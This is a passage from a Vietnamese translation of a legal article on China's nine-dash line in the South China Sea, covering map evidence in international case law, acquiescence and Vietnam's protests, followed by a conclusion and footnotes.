khi thể hiện các địa danh này này ở các khu vực biên giới khó tiếp cận. [103]</div> <div> </div> <div> Dưới ánh sáng của những quan điểm này, sự ra đời của công nghệ hiện đại có thể tăng truy đòi của các thẩm phán đối với bằng chứng bản đồ. Một trường hợp nổi bật về điểm này là ý kiến tư vấn của ICJ 2004 đối với bức tường của Israel, trong đó họ dựa (một phần) vào một bản đồ điện tử được đăng trên trang web Bộ Quốc phòng Israel để xác định các tuyến đường hiện tại và tương lai của các bức tường trong vùng lãnh thổ Palestine. [104] Ngược lại, các bản đồ TQ không có vẻ có thể đáp ứng các tiêu chuẩn kỹ thuật nghiêm ngặt. Mặc dù đường nhiều chấm của TQ thường đi theo đường đẳng sâu 200 mét (đường nối các điểm có độ sâu 200m với nhau), cho đến nay nó chưa bao giờ được phân ranh giới chính xác, do đó thiếu các toạ độ địa lý chính xác. [105] Ngoài ra, có vẻ có một số sự mâu thuẫn nhỏ giữa các tài liệu bản đồ biển của TQ: các điểm cuối của các vạch tạo nên đường chữ U thay đổi (mức khác biệt chạy từ 1 đến 5nm). [106] Nhưng ngay cả vị trí của chính các vạch đôi khi có sai biệt rõ ràng với những vạch trên bản đồ ở Phụ lục I. [107] Hơn nữa, vì nó liên quan các đường trên biển, ảnh vệ tinh cũng không thật hữu ích.</div> <div> </div> <div> Một yếu tố bổ sung góp phần vào tính không chính xác của bản đồ TQ là tỉ lệ của nó nhỏ quá mức. ICJ đã than phiền các bản đồ vẽ với tỉ lệ không đủ lớn. Một ví dụ điển hình có thể tìm thấy trong Tranh chấp đất, đảo và biên giới biển:</div> <div> </div> <div> Honduras đã vẽ một bản đồ thứ hai, năm 1804, cho thấy vị trí của các giáo xứ của tỉnh San Miguel trong Tổng Giáo Phận Guatemala. Tuy nhiên, tỉ lệ của bản đồ này không đủ lớn để có thể xác định xem đoạn cuối của sông Goascoran là đoạn do El Salvador khẳng định, hoặc đoạn do Honduras khẳng định. [108]</div> <div> </div> <div> Các vấn đề tương tự cũng đã được trình bày trước tòa trọng tài. Ví dụ, Uỷ ban ranh giới Eritrea-Ethiopia cho rằng: “hơn nữa, nhiều bằng chứng về bản đồ theo một tỉ lệ quá nhỏ, hoặc quá thiếu chi tiết đến nỗi nó chỉ có thể được coi là mơ hồ trong lĩnh vực này.” [109]</div> <div> </div> <div> Cuối cùng, cần lưu ý rằng các bản đồ TQ không chứa bất kỳ chỉ dấu nào về mốc quy chiếu (tức là một quy chiếu sử dụng trong trắc địa để đo đạc) được sử dụng, đó có vẻ là một yếu tố quan trọng trong việc đánh giá độ chính xác kỹ thuật của bất kỳ ranh giới biển nào. [110]</div> <div> </div> <div> IV. BẢN ĐỒ KHÔNG BỊ CÁC NƯỚC KHÁC TRONG KHU VỰC PHẢN ĐỐI</div> <div> </div> <div> A. Tiêu chuẩn áp dụng</div> <div> </div> <div> Ngay cả khi ta chấp nhận rằng đường 9 chấm là một mô tả sai lầm của hiện thực thì điều đó không có nghĩa là nó có thể được gạt sang một bên ngay lập tức. Điều này đã được làm sáng tỏ trong vụ kênh Beagle:</div> <div> </div> <div> tầm quan trọng của bản đồ có thể không nằm ở chính bản đồ mà trên lý thuyết nó có thể không chính xác mà ở thái độ biểu lộ - hoặc hành động thực hiện - đối với bản đồ đó của các bên liên quan hoặc của các đại diện chính thức của họ. [111]</div> <div> </div> <div> Các thẩm phán trong vụ Đền Preah Vihear đã rõ rệt hơn, gửi một tín hiệu cảnh báo rõ ràng về những ảnh hưởng tiềm năng của việc sơ suất trong khi đối mặt với sự quyết đoán về bản đồ:</div> <div> </div> <div> Rõ ràng rằng các trường hợp như vậy đòi hỏi một phản ứng nào đó, về phía nhà chức trách Thái Lan trong một thời hạn hợp lý, nếu họ muốn tỏ sự không đồng ý với bản đồ hoặc nếu có bất kỳ câu hỏi nghiêm trọng nào phải nêu ra liên quan đến nó. Họ đã không làm như vậy, hoặc là sau đó hoặc trong nhiều năm, và do đó phải được xem là đã mặc nhận. Qui tacet consentire videtur si loqui debuisset ac potuisset. [112] (Ai im lặng thì dường như là đồng ý, nếu anh ta biết nói đáng lẽ anh ta đã phải nói).</div> <div> </div> <div> Một ví dụ của mối liên kết giữa bản đồ và sự mặc nhận được Ủy ban Ranh giới Eritrea-Ethiopia nêu lại gần đây: “một bản đồ có thể có chút trọng lượng pháp lý cho từng cái (per se): nhưng nếu bản đồ là thỏa đáng về mặt bản đồ học trong các khía cạnh có liên quan, nó có thể, có vai trò là căn cứ thực tế , có ý nghĩa pháp lý cao, ví dụ như cho hành vi mặc nhận.”[113]</div> <div> </div> <div> Tất nhiên, các kiểu cách thực tế của các vụ nêu trên là hoàn toàn khác biệt với trường hợp mà chúng ta đang phải đối mặt, tao ra tranh cãi về việc liệu các tiền lệ đó có thể áp dụng được ở đây không. Trong trường hợp này, chúng ta đang đối phó với một đường biên giới biển có mục đích xấu, việc hình thành nó, theo lời của ICJ, là “một vấn đề có tầm quan trọng lớn và việc thỏa thuận không phải là dễ dàng giả định trước”. [114] Hơn nữa, theo quan sát của Strupp:</div> <div> </div> <div> Yêu sách hình chữ U lạ lùng này là quá bất thường và quá đáng vượt ngoài thực tế trong các thập niên từ 30 tới 60 đến nỗi không thể hiểu được theo cách có “sự mặc nhận đối với yêu sách bản đồ” một công nhận (ngầm) của cộng đồng nước ngoài về những tham vọng “cực kỳ bất thường”, bằng cách áp dụng quy tắc qui tacet consentire videtur si loqui debuisset ac potuisset hoặc quy tắc khác, có thể nghiêm ngặt đi đến xem xét. [115]</div> <div> </div> <div> Strupp cũng nhận xét rằng:</div> <div> </div> <div> Trong những trường hợp hoàn toàn quá đáng kiểu như “tuyên bố chủ quyền mặt trăng” của “đường chữ U” ở Biển Đông rõ ràng không tồn tại một cơ sở hợp lý nào cả cho một độ “siêu nhạy cảm” to lớn về phía các nước phải đối mặt với các yêu sách bản đồ đối địch về mặt “mặc nhận”. [116]</div> <div> </div> <div> Tuy nhiên, cần thận trọng khi áp dụng một phương pháp tiếp cận trung gian. Sau khi xem xét một bộ phận lớn về việc thực hành nhà nước, trong công trình có ảnh hưởng của ông về quyền sở hữu lịch sử, Blum đi đến kết luận sau đây:</div> <div> </div> <div> Các trường hợp phản đối mới đây chống lại “yêu sách bản đồ” dường như chỉ ra rằng các quốc gia, trên thực tế, “luôn giữ một cái nhìn cảnh giác đối với các bản đồ do các quốc gia văn minh xuất bản " … Nói chung, có vẻ nổi lên rằng các nước sẽ bị đổ lỗi cho sự hiểu biết về các hoạt động lập pháp trong nước của nhau cũng như các hành vi khác được thực hiện theo thẩm quyền của họ, và lời biện hộ về sự không biết sẽ chỉ được chấp nhận trong những trường hợp đặc biệt nhất.Do đó những nước mong muốn bảo toàn quyền của mình được khuyến cáo nên quan tâm theo dõi sâu sát các hành vi chính thức của các nước khác và đưa ra phản đối - thông qua các phương tiện hợp pháp được luật quốc tế công nhận – nếu họ cảm thấy rằng quyền của mình đã bị ảnh hưởng, hoặc có thể bị ảnh hưởng bởi những hành vi đó. [117]</div> <div> </div> <div> B. Phản đối / Thiếu sự mặc nhận</div> <div> </div> <div> Giả sử rằng triển vọng thừa nhận ngầm lồ lộ hiện ra, các nước ven biển được yêu cầu phải bày tỏ sự không chấp nhận chính sách đường chữ U và ý đồ cơ bản của TQ. Một số học giả TQ đã cáo buộc rằng buộc cộng đồng quốc tế đã không lên tiếng về sự bất đồng của mình để ngăn chặn việc củng cố tham vọng của TQ ở Biển Đông:</div> <div> </div> <div> Khi tuyên bố đường 9 điểm, cộng đồng quốc tế không lúc nào bày tỏ sự bất đồng ý kiến. Không nước lân cận nào đã đưa ra một phản đối ngoại giao. Im lặng khi đối mặt với một tuyên bố công khai có thể nói có nghĩa là mặc nhận, và có thể khẳng định rằng các đường chấm chấm đã được công nhận trong nửa thế kỷ. Tuy nhiên, trong những năm gần đây một số nước Đông Nam Á, đã tham gia vào tranh chấp chủ quyền Biển Đông, mới đặt ra câu hỏi về tình trạng pháp lý của đường 9 chấm. [118]</div> <div> </div> <div> Triệu Quốc Khải (Zhao Guocai) cho rằng:</div> <div> </div> <div> “Từ lúc tuyên bố đường 9- chấm, cộng đồng quốc tế vào thời điểm đó đã không đưa ra bất kỳ sự không bằng lòng nào. Các nước liền kề cũng không đưa ra bất kỳ phản đối ngoại giao nào đối với đường 9-chấm. Những điều này quy thành một sự mặc nhận.” [119]</div> <div> </div> <div> Sự mặc nhận quốc tế này rất đáng ngờ. [120] Lấy Việt Nam như một trường hợp về điều này, chúng ta có thể thấy rằng hai phát biểu này là không thuyết phục. Các ví dụ bao gồm:</div> <div> </div> <div> 1. Một phản đối đối với các đòi hỏi của TQ qua việc tuyên bố rằng rằng họ sẽ “không công nhận bất kỳ cái gọi là ‘lợi ích lịch sử’ nào, điều đó là không phù hợp với luật pháp quốc tế và vi phạm chủ quyền và quyền chủ quyền của Việt Nam và lợi ích hợp pháp của Việt Nam trong các khu vực biển và thềm lục địa của họ trong Biển Đông”.[121]</div> <div> </div> <div> 2. Một tuyên bố đáp trả công hàm của TQ năm 2009:</div> <div> </div> <div> Quần đảo Hoàng Sa và Trường Sa là một phần của lãnh thổ Việt Nam. Việt Nam có chủ quyền không tranh cãi đối với các quần đảo này. Do đó, yêu sách của TQ đối với các đảo và vùng biển lân cận ở Biển Đông như thể hiện trong bản đồ kèm Công hàm CLM/17 / 2009 và CLM/18/2009 là không có cơ sở pháp lý, lịch sử, thực tế, do đó là không có giá trị và vô hiệu. [122]</div> <div> </div> <div> 3. Một yêu cầu loại bỏ dữ liệu khỏi dịch vụ bản đồ trực tuyến của TQ mô tả đường chữ U (nêu trên) trong hai dịp. [123]</div> <div> </div> <div> 4. Các phản kháng gần đây chống lại sự can thiệp của TQ với tàu thuyền Việt Nam, trong đó tính hợp pháp của đường 9 chấm rõ ràng bị bác bỏ. [124]</div> <div> </div> <div> 5. Nhân dịp buổi họp cuối cùng của các nước thành viên UNCLOS, Việt Nam đã nhắc lại phản đối của mình đối với đường 9 chấm theo mục 14 của Chương trình nghị sự. [125]</div> <div> </div> <div> Cách ứng xử như vậy phải tuân thủ các tiêu chuẩn pháp lý quốc tế cần thiết để làm các hành vi phản đối thấm đầy hiệu lực pháp lí khiến cho đường chữ U không thể được sử dụng để chống lại nước phản đối. Tuy nhiên, có vẻ như không khả thi khi áp dụng các tiêu chí này cho các phản kháng trước đây đối với đường chữ U trong điều kiện vị thế mơ hồ của TQ đối với bản đồ và những gì nó thực sự muốn nói. Xét cho cùng, chỉ có thể hành động bằng cách phản đối một khi nước đối lập đã thực hiện một tuyên bố chính thức và dễ hiểu. Ý tưởng này được phản ánh trong khái niệm về “tai tiếng”của hành động hoặc sự kiện đang có vấn đề. [126] Chúng tôi đã bàn bạc chi tiết các đặc điểm bí ẩn của đường 9 chấm và những ảnh hưởng về ý định không rõ ràng về phía TQ. Vì vậy, chỉ có thể phản đối đối với những khẳng định thấy được và dễ hiểu về đường chữ U trong các trường hợp hiếm hoi mà chúng xảy ra (ví dụ, công hàm TQ gửi cho Tổng Thư ký LHQ năm 2009). Theo thời gian, các tiêu chí theo sau dựa trên các tiêu chí trước trước đây. Theo lập luận, nếu tính rõ ràng của dòng-9-chấm đã được xác lập thì bản chất của sự mặc nhận như thế có xu hướng được chấp nhận chỉ sau một thời gian dài thụ động.[127] Ví dụ dễ thấy là các vụ tranh chấp về Đánh bắt cá và Quyền qua lại trên Lãnh thổ Ấn Độ trong đó ICJ suy ra sự mặc nhận từ trên 60 và 125 năm im lặng, tương ứng. [128] Đòi hỏi về ý định rõ ràng cũng đã được hoàn thành trong các tuyên bố của Việt Nam rõ ràng nhằm mục đích ngăn chặn cái đòi hỏi trở thành quyền lợi pháp lý mới của TQ. Ngoài ra, tiêu chí rằng phản đối phải nhất quán và không bị gián đoạn có thể nói là đã được tuân thủ, như minh họa của nội dung của các ghi chú nói về phản đối. [129]</div> <div> </div> <div> KẾT LUẬN</div> <div> </div> <div> Trong đóng góp này, chúng tôi đã cố gắng để khám phá một số những điều không chắc chắn về pháp lý che đậy các vạch trên bản đồ Biển Đông của TQ. Phân tích của chúng tôi đã đưa đến kết luận rằng đường chữ U, cho dù được giải thích như là một thể hiện lãnh thổ hoặc biển, rõ ràng thiếu tính chính xác, và do đó đặt ra nhiều vấn đề nếu vẫn giữ như là một phần của chính sách chính thức của TQ cũng như của Đài Loan. Nếu bộ phận đáng kể luật các án lệ là điều phải đi theo, bản đồ thể hiện với đường 9 chấm sẽ không có giá trị như là tài liệu chứng cứ trong một vụ xử giả thuyết. Trong khi có thể thấy rằng một số người nhìn ra một xu hướng mới nổi lên tạo ảnh hưởng cho sự dễ dãi đối với bản đồ, [130] chúng tôi sẽ cho rằng các luận điệu như vậy là khá vội vã. Các bản đồ không phải là các bản đồ kèm theo các hiệp ước quốc tế sẽ được tiếp nhận một cách thận trọng dễ hiểu và sẽ được đánh giá theo chức năng của chúng vẫn là điều không thay đổi.</div> <div> </div> <div> Nhưng có một vấn đề cơ bản hơn ở đây. Duy trì một tuyên bố đơn phương trong một khoảng thời gian kéo dài mà không xem xét tới quyền lợi của các bên quan tâm khác là đồng nghĩa với việc áp đặt một việc đã rồi (fait accompli). Điều này sẽ vuột mất đi khi đối mặt với luật quốc tế, luật này ngăn không cho các nước mạnh yêu sách “giành phần trọn” (lion’s share) gây thiệt hại cho các nước láng giềng yếu hơn. [131] Việc bám chặt vào đường 9 chấm cũng là lỡ nhịp với chế độ chính phủ hiện tại, [132] bao gồm các hội thảo[133] và (đề xuất) hợp tác trong lĩnh vực bảo vệ môi trường và sự đa dạng sinh học. [134] Một giải pháp thực dụng khá thịnh hành trong những năm qua là tìm cách đạt được sự phát triển chung các tài nguyên. Điều này dính dáng tới việc gác các tranh chấp lãnh thổ và biển sang một bên và ký kết các thỏa thuận tạm thời “mà không làm ảnh hưởng” đến kết quả phân định cuối cùng. [135] May mắn thay, TQ, Đài Bắc, và các diễn viên khác trong khu vực đã sử dụng các cơ chế đa phương này và tiếp tục làm như vậy một cách hiệu quả. Chúng tôi hy vọng rằng các nước có tranh chấp từ bỏ các khẳng định cực kỳ quyết đoán về mặt bản đồ và lo tập trung năng lượng của họ vào các kết quả các bên cùng có lợi liên quan đến Biển Đông trên cơ sở UNCLOS.</div> <div> </div> <div> Người dịch: Phan Văn Song</div> <div> </div> <div> Hiệu đính: Lê Trung Tĩnh</div> <div> </div> <div> --------------</div> <div> * Research Professor, President of the Department of International and European Law and Director of the Centre for International Law, Vrije Universiteit Brussel; Member of the Permanent Court of Arbitration. The substance of this article was prepared for the Second International Workshop organized by the Diplomatic Academy of Vietnam and the Vietnam Lawyers Association, entitled ‘‘The South China Sea: Cooperation for Regional Security and Development’’, 10–12 November 2010, Ho Chi Minh, Vietnam. This article is a revised version of the paper—‘‘Dotted Lines in the South China Sea: Fishing for (Legal) Clarity’’—presented at the Workshop.</div> <div> **Doctoral Fellow, Research Foundation—Flanders (FWO). Member of the Department of International and European Law and the Centre for International Law, Vrije Universiteit Brussel.</div> <div> </div> <div> [1] LI Jinming and LI Dexia, ‘‘The Dotted Line on the Chinese Map of the South China Sea: A Note’’ (2003) 34 Ocean Development and International Law 287 at 289. Trong một công hàm gửi cho Tổng thư ký Liên Hiệp Quốc, Trung Quốc tuyên bố rằng “kể từ [sic] năm 1930, chính phủ Trung Quốc đã đưa ra công khai nhiều lần [sic] phạm vi địa lý của quần đảo Nam Sa của Trung Quốc và tên các thành phần của nó”, nhưng họ không đề cập đến các hoạt động bản đồ. Vì vậy, trong khi điều này có thể có nghĩa là Trung Quốc chính thức chuẩn nhận các hoạt động đặt tên của Ủy ban, không thể suy ra các bản đồ cũng được chuẩn nhận. Xem People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/8/2011’’ (14 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2011_re_phl_e.pdf.</div> <div> [2] Zou Keyuan đề cập đến sự tồn tại của một đường ở Biển Đông có sớm hơn được nhà vẽ bản đồ TQ Hu Jinjie (Hồ Tấn Tiếp) vẽ vào năm 1914 và tiếp theo vào những năm 1920 và năm 1930. Đường như vậy cũng có thể tìm thấy trong một số tập bản đồ từ thời kỳ này. Tuy nhiên, cần phải nhấn mạnh rằng:</div> <div> </div> <div> 1. Những phiên bản sớm hơn này có trước bản đồ chính thức đầu tiên mô tả “đường chữ U”.</div> <div> </div> <div> 2. Các tập bản đồ nói trên đã được biên soạn bởi các cá nhân, do đó hành động theo khả năng cá nhân của họ.</div> <div> Xem ZOU Keyuan, ‘‘The Chinese Traditional Maritime Boundary Line in the South China Sea and its Legal Consequences for the Resolution of the Dispute over the Spratly Islands’’ (1999) 14 International Journal of Marine and Coastal Law 27 at 32–33.</div> <div> </div> <div> [3] In lại trong HU Nien-Tsu Alfred, ‘‘South China Sea: Troubled Waters or a Sea of Opportunity?’’ (2010) 41 Ocean Development and International Law 203 at 208.</div> <div> </div> <div> [4] WANG Kuan-Hsiung, ‘‘The ROC’s Maritime Claims and Practices with Special Reference to the South China Sea’’ (2010) 41 Ocean Development and International Law 237 at 248.</div> <div> </div> <div> [5] SHEN Jianming, ‘‘China’s Sovereignty over the South China Sea Islands: A Historical Perspective’’ (2002) 1 Chinese Journal of International Law 94 at 129, note 122.</div> <div> </div> <div> [6] Li and Li, supra note 4 at 290. Quan điểm này mâu thuẫn với Zou Keyuan, ông cho rằng hai vạch này bị xoá vào những năm 1960. XemSee Zou, supra note 5 at 34–35.</div> <div> </div> <div> [7] Malaysia-Socialist Republic of Viet Nam, ‘‘Joint Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982 in Respect of the Southern Part of the South China Sea, Executive Summary’’ (May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/mys_vnm2009excutivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 6/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/mysvnm_clcs33_2009e.pdf.</div> <div> [8] Socialist Republic of Vietnam, ‘‘Submission to the Commission on the Limits of the Continental Shelf Pursuant to Article 76, paragraph 8 of the United Nations Convention on the Law of the Sea 1982, Partial Submission in Respect of Vietnam’s Extended Continental Shelf: North Area (VNM-N), Executive Summary’’ (April 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 